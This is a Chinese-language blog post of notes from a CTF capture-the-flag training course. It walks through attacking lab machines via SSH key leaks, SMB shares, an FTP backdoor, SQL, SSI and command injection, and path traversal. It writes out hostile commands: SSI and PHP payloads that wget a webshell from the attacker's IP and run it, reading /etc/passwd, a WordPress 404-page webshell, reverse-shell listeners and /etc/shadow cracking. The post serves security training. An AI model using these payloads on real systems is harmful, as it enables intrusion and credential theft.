CTF夺旗训练课程

2024-03-19 19:40
文章标签 训练 ctf 课程 夺旗

本文主要是介绍CTF夺旗训练课程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第一章 课程介绍与环境搭建

1-2 环境搭建

攻击机统一为kali,直接用ova文件创建靶场机器后,靶场机器要求进行登陆。

可我们并没有用户名和密码。问题是:如果我们不进行登陆,如何获得靶场机器的ip地址?从而达到联通靶场机器的目的.

这里我们使用netdiscover命令 netdiscover -r ip/子网掩码

  

24为24位二进制数1,就是255.255.255.0。

然后扫描出192.168.157这个网段的存活主机。

第二章 SSH服务

2-1 SSH私匙泄露

首先对靶场机器进行探测,我们使用nmap命令 nmap -sV ip

这里我们可以看到靶场机器开放的端口和对应的服务,此靶场机器上开启了ssh服务和两个http服务。

接下来我们分析特殊端口,尤其对开放http服务的大端口(本靶机上31337端口开放了http服务)

怎么探测http端口信息?我们可以使用浏览器来浏览http服务的信息

这里并没有信息,那这里有没有隐藏文件?我们使用dirb命令来探测隐藏文件

成功探测到五个隐藏文件(隐藏起来的肯定有问题)

这里有两个敏感目录robots.txt和.ssh,我们打开robots.txt看看它把什么藏住了。

这里有三个目录,taxes是英文单词?打开获得第一个flag

下面我们看敏感目录.ssh(ssh服务的作用是让远程计算机登录到本地ssh服务上,进行远程操作)

这目录中有私钥和公钥,运行服务时私钥公钥进行对比,对比成功则运行服务。

我们发现访问id_rsa(私钥)和authorized_keys(认证关键字)文件可以进行下载(公钥不用下载),这里就存在私钥泄露。

对私钥进行赋读写权限,ls -alh查看权限,chmod 600 文件名

有了私钥,我们就可以尝试使用ssh命令对靶机进行远程登录(ssh -i 私匙 用户名/id        用户名在认证关键字中泄露)

我们登录时提示我们要输入密码,

我们有了私钥文件就可以从私钥文件中把密码解出来,使用ssh2john和zcat进行解密。

上一条命令对私钥信息进行转换,转换成john可以识别的信息;

后一条命令用zcat命令,使用字典。。。管道。。规则。。什么什么的进行解密,得到一个密码 starwars

成功远程登录!pwd查看下当前目录,ls查看下当前目录文件。

发现并没有我们想要的,这时候我们应该想到去访问root目录,在ctf比赛中根目录root都是有重要信息的。

访问后的确发现了flag.txt,但是我们却没有权限访问,这时候就是如何提权的问题了。

这条命令是从根目录开始查找,看有哪些命令是具有执行权限的。其中2>/dev/null用于防止错误信息。

发现有一条命令是read_message,而我们目录下刚好有个c代码叫做read_message.c,查看一下,发现第二个flag和一段c代码。

c的大概意思是输入一段文字和已知字符串simon进行匹配,匹配成功输出一段文字和message目录下的一个文件。

从c代码中我们可以看出,我们输入的为一个长度20的数组,如果溢出会不会执行?(应该和c中的execve函数有关系)

我们在前面输入simon匹配c,再加入十五个字符,之后再接/bin/sh提升下权限?

成功提权,然后我们用提权后的用户去访问之前的flag.txt,拿到第三个flag。

2-2、2-3 SSH服务渗透测试

因为两个虚拟机分别在viralbox和VMvare上,在家配置实验环境的时候,只要把两个虚拟机都桥接出来就可以了ping通了。

可是来到学校教育网只能连接一个机器,就不能用桥接模式了。博主想到能不能把两个机器连在同一个NAT网络上,同一个虚拟机软件自动连接在同一个NAT网络上。博主百般尝试,不同虚拟机软件即使设置的内网ip已经是同一网段了,仍然相互不可发现不可ping通.....博主能想出的解决方法只能是1.把kali也同样装在viralbox上。2.找一个不是校园网的地方进行操作。

面对SSH服务22端口开放的靶场:

首先考虑:1、暴力破解用户名和密码 2、私匙泄露(私匙有没有对应的密码、是否可以找到私匙的用户名)

面对HTTP服务80端口开放的端口或者其他端口的靶场:

首先考虑:1、通过浏览器访问对应靶场http服务(http://ip:http端口号) 2、使用探测工具探测http目录文件(dir http://ip:http端口号、nikto -host ip)

特别注意:大于1024的特殊端口.          拿到ssh私钥(wget "")要是有解密密码要进行对应的解密。

远程登录服务器之后,我们要扩大战果:1.查看当前用户whoami 2.id查看当前用户权限  3.查看根目录,寻找flag文件(一般情况下,flag文件需要提权之后root用户才能查看)

提权前常用命令 cat/etc/passwd:查看所有用户的列表  cat/etc/group:查看用户组 

                            fin/-user 用户名:查看属于某些用户的文件   /tmp :查看缓存文件目录

深入挖掘  通过/etc/ctontab文件,设定系统自动执行的任务,编辑需要root权限。不同的用户都可以有不同的定时任务。

cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。(执行的任务肯定对应靶场机器的某个文件)

若有定时计划文件,具体目录下却没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应权限;若有这个定时执行的文件,切换到对应目录,查看对应权限,查看当前用户是都具有读写权限。

原理是套接字什么什么的.....,然后发现返回的shell也不能提权?

最后进行暴力破解出第三个用户名的密码,登录 -u提权,

总结:在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况是进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。

第三章 SMB服务

3-1.SMB信息泄露

SMB(Server Message Block)协议是一个通信协议,一般使用的端口为139,445,后来Linux移植了SMB,并称为samba。SMB协议,计算机可以访问网络资源,下载对应的资源文件。

通过扫描,我们可以看到靶机开放了smb服务

有SMB服务,我们可以 1、尝试使用空口令登录(提示输入密码直接空密码)

发现一个打印驱动、一个共享文件夹share$和一个空链接。

ls查看共享的文件夹。share$里发现许多敏感文件,用get下载下来到本地查看,其中deet.txt泄露了一个密码12345;wordpress目录下的config是个配置文件(小文件用cat看,大文件用gedit看)(一般配置文件都是泄露了用户名和密码),发现泄露了数据库的用户名和密码。

想起来之前发现靶机开启了mysql数据库服务,看看能不能远程登录。

并不能远程登录mysql,然后我们看到还有个ssh协议,这可是远程登录协议,尝试用这个用户名和密码登录。

还是失败。

接下来就是SMB漏洞的第二个尝试利用 2、用searchsploit samba版本号 看看是否存在远程溢出漏洞~~结果是不存在

靶机还开放了80端口http服务,用正常方法探测80端口泄露,发现/wordpress/wp-admin/这个后台管理登录页面(。。开发后台的人都知道这是后台管理登录页面?)用我们得到的用户名密码登录,成功登录。

接下来就是上传木马提权:1、制作webshell 2、启动监听获取返回的shell

启动监听用的是msfonsole集成模块,use exploit/multi/handler.....与上同

然后就要上传webshell了,上传webshell有固定的上传点:上传到theme的404界面,然后访问404.php获得反弹的shell

在后台管理界面appearence的editor可以找到404页面,把代码全部改成webshell里的,上传!

然后通过固定路径http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php访问webshell(固定路径怎么来?当前主机又要改成fifiteen,看404界面提示是什么就改成什么)

反弹回了shell,我们就可以对靶机进行操作了,获得了普通权限。

接下来还是同样的,优化终端(python -c "import pty;pty.spawn('/bin/bash')")

使用cat /etc/passwd/查看当前系统的其他用户名(注意home目录下)发现个togie用户,su togie去切换到togie目录,密码用之前发现的12345登录成功。

还是要去切换到root权限,用sudo -l查看su能执行哪些操作,然后用sudo su来提升权限.....(上下步骤有什么关系吗)

最后在root找到flag.txt,搞掂。

第四章 FTP服务

4-1 FTP服务后门利用(典型已知的服务漏洞利用)

FTP、File transfer protocol文件传输协议,同时它也是一个应用程序。下载和上传就是用这个协议。

同样开始用netdiscover发现靶机ip后,用nmap探测开启的端口或服务。

发现开启了ssh,http和ftp这三个服务。

我们发现了ftp的版本号,我们可以使用seachsploit来查看对应的版本该服务有没有可利用的漏洞。

发现了利用漏洞,并且列出了集成利用方式(Metasploit)和利用代码位置(15662.txt)(需要修改这个文件造成溢出,太烦)

接下来使用Metasploit进行溢出(用msfconsole打开)

1、输入search对应软件和版本号  2、use exploit  3、查看可以使用的payload (show payload)

4、set payload  5、设置参数 show options 、set rhost(靶机ip)、 set lhost (本机ip) 6、进行远程溢出(exploit) 7、执行命令 id,发现获得的直接是root权限

然后用python美化界面...如上节,查看root目录下的flag获得flag值。

第五章 靶场夺旗

5-1.靶场夺旗(一个实战)

   先没看视频前自己先看了下,开放的是ssh服务,两个http服务(其中一个为9090大端口),ftp服务(searchsploit了一下,发现这个版本的ftp没有已知漏洞)。在/passwords/FLAG.txt目录下面有一个flag,另外的在robot.txt找到的/cgi-bin/tracertool.cgi有一个ping网址的功能,猜测是命令注入漏洞(怎么利用?)。

重要:nmap扫描主机开放全部端口:nmap -p- -T4 靶场IP地址(这个比直接nmap扫出的端口全!!!)

对于大端口的非http服务,可以使用nc来探测改端口的banner信息;nc ip 端口号

对于大端口的http服务,可以使用浏览器浏览界面查看源代码,寻找flag值;

本次探测通过nc13337和6000端口分别返回了一个flag和一个shell,这个shell直接就是root权限(但这个root权限只能查看当前文件夹?),然后在shell上面ls看到个FLAG.txt,直接查看又看到一个flag。

大端口的http服务直接在浏览器上访问那个端口,出来一个登录页面直接有一个flag,这个登录页面没有提交按钮,应该(自己弄的时候被火狐自带的防火墙挡住了,还以为是靶机的防火墙.....解决方案:点击页面右下 Advanced 再点击 Add Exception,按照步骤添加信任就OK了)

在80端口的目录password.html下,本以为只是出题者嘲讽一句,没想到查看源代码之后有一个密码为winter,先记下。

ftp服务:在浏览器中输入ftp://靶场ip 可以匿名登录ftp服务器根目录,查看敏感文件,注意看源代码

进入ftp服务发现又有一个flag.txt。

命令注入漏洞的利用:在正常的输入id之后加分号,再加所需要执行的任务,如(127.0.0.1;id;pwd)

cat这俩文件,发现是两个快乐小猫?(后来知道是cat命令被限制了,作者画一只小猫嘲讽)

我看刚开始得到了一个密码winter,这时候再找一个用户名就可以使用ssh进行登录了,账号我们到/etc/passwd查看。

这里我们不能用cat命令了,用相近的命令more来代替。

我们发现两个在home目录下的用户名,Summer和Morty

ssh登录靶场机器(直接ssh 用户名@靶场ip 如果有私钥就-i添加 ;如果端口不是22就用-p修改 ),发现被拒绝了!

这时候发现还有个22222端口不知道干什么的但又很明显是人为开的端口,就用-p把ssh服务改到22222端口去(卧槽!)

然后成功远程连接,并成功又发现一个FLAG.txt

第六章 HTTP服务

6-1 SQL注入GET参数

sql注入概念就不说了,课程主要是通过sql注入漏洞,获取对应的用户名和密码,登录系统后台,寻找上传点上传shell,执行shell并返还shell给攻击机,最终取得flag值。

这道题通过80端口找到一个登录界面,以及可以被sqlmap简单扫到的界面,登录之后看到文件上传漏洞,用msfvenom生成shell,用把后缀的.php改成.PHP就可以上传shell,然后msfconsole监听对应端口,执行并返回shell。

6-2 SQL注入POST参数-注入HTTP报文

首先进行普通的信息收集,查到一个网址。然后抓包,sqlmap发现post参数可注入,然后就是登录注shell反shell一条龙。

ps:获取shell也可以在 /usr/share/webshells/ 中获取;启动监听也可以用 nc -nlvp port 进行;

      wordpress中404访问webshell地址:http://靶场IP:端口号/目录/wp-content/themes/主题名/404.php

提权 sudo -su、su -

6-3 SQL注入-X-Forwarded-For报头文

在漏扫工具扫出在X-Forwarded-For表头可以注入,那么久用sqlmap注入(加上 --headers="X-Forwarded-For:*"即可)

如果想同时dump两个字段可以用逗号分隔 -C “login,password”

 

6-4 SSI注入

SSI(server side inject),服务端注入,在动态页面还没出现之前,SSI广泛用于赋予静态页面动态效果,可通过SSI执行系统命令,并返回对应结果。在网站中发现 .stm .shtm .shtml,很有可能是SSI注入攻击。

ssi注入就是寻找一个输入点输入类似<!--#exec cmd="命令" --> 格式,看看能不能运行系统命令。

如 <!--#exec cmd="ls" --> <!--#exec cmd="cat /etc/passwd" --> 

切换目录<!--#exec cmd="cd /root/dir/" -->

下载shell脚本并重命名 <!--#exec cmd="wget http://ip/shell.txt | rename shell.txt shell.php" --> 

当然,要从攻击机下载shell,就要吧shell.txt移动(mv)到 /var/www/html/ 目录下,然后开启apache服务,service apache2 start , 查看apache状态 service apache2 status  ,然后还要赋予shell.php权限 chomd 777 shell.php。(如果靶机有python服务,且下载下来的shell无法在网站访问,最好用下载python的shell,这样直接执行命令python shell.py就可以了,方便)(当然用php webshell.php也是可以的)

执行shell后命令:sysinfo 查看系统信息 ;shell 进去系统shell;python优化shell

 

6-5 路径遍历(拿到www-data用户权限)

路径遍历攻击(也称目录遍历、目录爬升、回溯、点-点杠 )旨在访问存储在web根文件夹之外的文件和目录。

ps:系统操作访问控制会限制对文件的访问权限。

用漏扫工具扫出了对应的漏洞和利用URL。

路径遍历的利用:上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell,获取反弹结果。(ctf常见弱口令 admin 12345)

ps:如果我们进入数据库管理页面,我们可以创立以.php结尾的数据库,然后把表的字段设为php代码(如<?php system("cd /tmp;wget http://ip:port/webshell.php;chmod 777 webshell.php;php webshell");?>)当访问这个库时代码自动执行。

创建服务器供靶机下载shell:python -m "SimpleHTTPServer" (在当前目录创建一个服务器,这时候就不一定是80端口了)

破解liunx用户名和密码 /etc/passwd  /etc/shadow  unshadow passwd shadow > cracked ; john cracked

 

6-6 暴力破解

暴力破解步骤:

用wpscan对站点进行用户名枚举(输入wpscan可以列出可使用的命令,然后使用wpscan --url url/目录 --enumerate u 命令对目标站点用户名枚举);

再kali上可以用命令行工具Metasploit的暴力破解模块对站点进行暴力破解

暴力破解出用户名密码在404界面上传shell即可返回shell

提权:

在msfconsole的监听界面的msf>状态是什么?可以直接把靶机的文件下载到本地?

流程就是下载俩文件,转格式,解析出密码,输入密码提升权限

 

6-7 路径遍历(提升root用户权限)

往往CTF比赛中flag位于root目录下,而我们需要root权限才能打开,所以我们要对shell进行提权。

ps:在home目录下找config文件可能能找到密码;通过反弹的shell登录后可能还要寻找密码,进行ssh登录到另一个用户再进行提权操作。

输入sudo -l提示有两个文件一个zip一个tar可以用来提权

6-8 命令执行

6-9 命令执行(使用集成工具测试)

6-10 PUT上传漏洞

6-11 命令注入1

6-12 命令注入2

 

 

 

 

 

 

 

 

 

这篇关于CTF夺旗训练课程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/827028

相关文章

MiniGPT-3D, 首个高效的3D点云大语言模型,仅需一张RTX3090显卡,训练一天时间,已开源

项目主页:https://tangyuan96.github.io/minigpt_3d_project_page/ 代码:https://github.com/TangYuan96/MiniGPT-3D 论文:https://arxiv.org/pdf/2405.01413 MiniGPT-3D在多个任务上取得了SoTA,被ACM MM2024接收,只拥有47.8M的可训练参数,在一张RTX

Spark MLlib模型训练—聚类算法 PIC(Power Iteration Clustering)

Spark MLlib模型训练—聚类算法 PIC(Power Iteration Clustering) Power Iteration Clustering (PIC) 是一种基于图的聚类算法,用于在大规模数据集上进行高效的社区检测。PIC 算法的核心思想是通过迭代图的幂运算来发现数据中的潜在簇。该算法适用于处理大规模图数据,特别是在社交网络分析、推荐系统和生物信息学等领域具有广泛应用。Spa

SigLIP——采用sigmoid损失的图文预训练方式

SigLIP——采用sigmoid损失的图文预训练方式 FesianXu 20240825 at Wechat Search Team 前言 CLIP中的infoNCE损失是一种对比性损失,在SigLIP这个工作中,作者提出采用非对比性的sigmoid损失,能够更高效地进行图文预训练,本文进行介绍。如有谬误请见谅并联系指出,本文遵守CC 4.0 BY-SA版权协议,转载请联系作者并注

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录 在深度学习项目中,目标检测是一项重要的任务。本文将详细介绍如何使用Detectron2进行目标检测模型的复现训练,涵盖训练数据准备、训练命令、训练日志分析、训练指标以及训练输出目录的各个文件及其作用。特别地,我们将演示在训练过程中出现中断后,如何使用 resume 功能继续训练,并将我们复现的模型与Model Zoo中的

《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》P98

更改为 差分的数学表达式从泰勒级数展开式可得: 后悔没听廖老师的。 禹晶、肖创柏、廖庆敏《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》 禹晶、肖创柏、廖庆敏《数字图像处理》资源二维码

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

多云架构下大模型训练的存储稳定性探索

一、多云架构与大模型训练的融合 (一)多云架构的优势与挑战 多云架构为大模型训练带来了诸多优势。首先,资源灵活性显著提高,不同的云平台可以提供不同类型的计算资源和存储服务,满足大模型训练在不同阶段的需求。例如,某些云平台可能在 GPU 计算资源上具有优势,而另一些则在存储成本或性能上表现出色,企业可以根据实际情况进行选择和组合。其次,扩展性得以增强,当大模型的规模不断扩大时,单一云平

神经网络训练不起来怎么办(零)| General Guidance

摘要:模型性能不理想时,如何判断 Model Bias, Optimization, Overfitting 等问题,并以此着手优化模型。在这个分析过程中,我们可以对Function Set,模型弹性有直观的理解。关键词:模型性能,Model Bias, Optimization, Overfitting。 零,领域背景 如果我们的模型表现较差,那么我们往往需要根据 Training l

如何创建训练数据集

在 HuggingFace 上创建数据集非常方便,创建完成之后,通过 API 可以方便的下载并使用数据集,在 Google Colab 上进行模型调优,下载数据集速度非常快,本文通过 Dataset 库创建一个简单的训练数据集。 首先安装数据集依赖 HuggingFace datasetshuggingface_hub 创建数据集 替换为自己的 HuggingFace API key

【YOLO 系列】基于YOLOV8的智能花卉分类检测系统【python源码+Pyqt5界面+数据集+训练代码】

前言: 花朵作为自然界中的重要组成部分,不仅在生态学上具有重要意义,也在园艺、农业以及艺术领域中占有一席之地。随着图像识别技术的发展,自动化的花朵分类对于植物研究、生物多样性保护以及园艺爱好者来说变得越发重要。为了提高花朵分类的效率和准确性,我们启动了基于YOLO V8的花朵分类智能识别系统项目。该项目利用深度学习技术,通过分析花朵图像,自动识别并分类不同种类的花朵,为用户提供一个高效的花朵识别